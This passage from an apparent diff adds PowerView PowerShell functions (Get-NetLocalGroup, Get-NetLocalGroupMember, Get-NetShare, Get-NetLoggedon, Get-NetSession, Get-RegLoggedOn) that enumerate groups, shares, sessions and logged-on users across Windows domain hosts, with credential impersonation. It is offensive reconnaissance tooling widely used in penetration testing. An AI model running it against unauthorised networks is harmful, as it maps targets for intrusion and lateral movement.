($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $ConvertArguments['Domain'] = $Domain + } + + if ($Policy -eq 'All') { + $SearcherArguments['Identity'] = '*' + } + elseif ($Policy -eq 'Domain') { + $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' + } + elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { + $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' + } + else { + $SearcherArguments['Identity'] = $Policy + } + + $GPOResults = Get-DomainGPO @SearcherArguments + + ForEach ($GPO in $GPOResults) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'OutputObject' = $True + } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | ForEach-Object { + $_ | Add-Member Noteproperty 'GPOName' $GPO.name + $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname + $_ + } + } + } +} + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# +.SYNOPSIS + +Enumerates the local groups on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroup + +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... + +.EXAMPLE + +Get-NetLocalGroup -Method Winnt + +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... +... + +.EXAMPLE + +Get-NetLocalGroup -ComputerName primary.testlab.local + +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... + +.OUTPUTS + +PowerView.LocalGroup.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroup.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK + +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroup.API')] + [OutputType('PowerView.LocalGroup.WinNT')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information + + # arguments for NetLocalGroupEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_INFO_1 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $LocalGroup = New-Object PSObject + $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer + $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name + $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment + $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') + $LocalGroup + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + $ComputerProvider = [ADSI]"WinNT://$Computer,computer" + + $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $LocalGroup = ([ADSI]$_) + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'ComputerName' $Computer + $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) + $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) + $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') + $Group + } + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLocalGroupMember { +<# +.SYNOPSIS + +Enumerates members of a specific local group on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName + +.DESCRIPTION + +This function will enumerate the members of a specified local group on the +current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroupMember -Method winnt | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroup | Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN + +.EXAMPLE + +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False +primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK + +http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + $Members = @() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $Member | Add-Member Noteproperty 'SID' $SidString + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') + $Members += $Member + } + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + # try to extract out the machine SID by using the -500 account as a reference + $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID + if ($MachineSid) { + $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) + + $Members | ForEach-Object { + if ($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' $True + } + } + } + else { + $Members | ForEach-Object { + if ($_.SID -notmatch 'S-1-5-21') { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' + } + } + } + $Members + } + else { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + try { + $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" + + $GroupProvider.psbase.Invoke('Members') | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + + $LocalUser = ([ADSI]$_) + $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') + $IsGroup = ($LocalUser.SchemaClassName -like 'group') + + if(([regex]::Matches($AdsPath, '/')).count -eq 1) { + # DOMAIN\user + $MemberIsDomain = $True + $Name = $AdsPath.Replace('/', '\') + } + else { + # DOMAIN\machine\user + $MemberIsDomain = $False + $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain + + # if ($MemberIsDomain) { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # try { + # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # } + # else { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + # # UAC flags of 0x2 mean the account is disabled + # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) + # try { + # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # } + + $Member + } + } + catch { + Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" + } + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetShare { +<# +.SYNOPSIS + +Returns open shares on the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. This is a replacement for "net share \\hostname". + +.PARAMETER ComputerName + +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetShare + +Returns active shares on the local host. + +.EXAMPLE + +Get-NetShare -ComputerName sqlserver + +Returns active shares on the 'sqlserver' host + +.EXAMPLE + +Get-DomainComputer | Get-NetShare + +Returns all shares for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetShare -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.ShareInfo + +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.ShareInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the raw share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $Share = $Info | Select-Object * + $Share | Add-Member Noteproperty 'ComputerName' $Computer + $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Share + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLoggedon { +<# +.SYNOPSIS + +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. + +.PARAMETER ComputerName + +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetLoggedon + +Returns users actively logged onto the local host. + +.EXAMPLE + +Get-NetLoggedon -ComputerName sqlserver + +Returns users actively logged onto the 'sqlserver' host. + +.EXAMPLE + +Get-DomainComputer | Get-NetLoggedon + +Returns all logged on users for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.LoggedOnUserInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.LoggedOnUserInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetSession { +<# +.SYNOPSIS + +Returns session information for the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetSession + +Returns active sessions on the local host. + +.EXAMPLE + +Get-NetSession -ComputerName sqlserver + +Returns active sessions on the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-NetSession + +Returns active sessions on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.SessionInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.SessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure - have to do it this way for V2 + $Session = $Info | Select-Object * + $Session | Add-Member Noteproperty 'ComputerName' $Computer + $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Session + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-RegLoggedOn { +<# +.SYNOPSIS + +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +.DESCRIPTION + +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). + +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-RegLoggedOn + +Returns users actively logged onto the local host. + +.EXAMPLE + +Get-RegLoggedOn -ComputerName sqlserver + +Returns users actively logged onto the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-RegLoggedOn + +Returns users actively logged on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.RegLoggedOnUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost' + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' + + if ($UserName) { + $UserName, $UserDomain = $UserName.Split('@') + } + else { + $UserName = $_ + $UserDomain = $Null + } + + $RegLoggedOnUser = New-Object PSObject + $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $RegLoggedOnUser | Add-Member 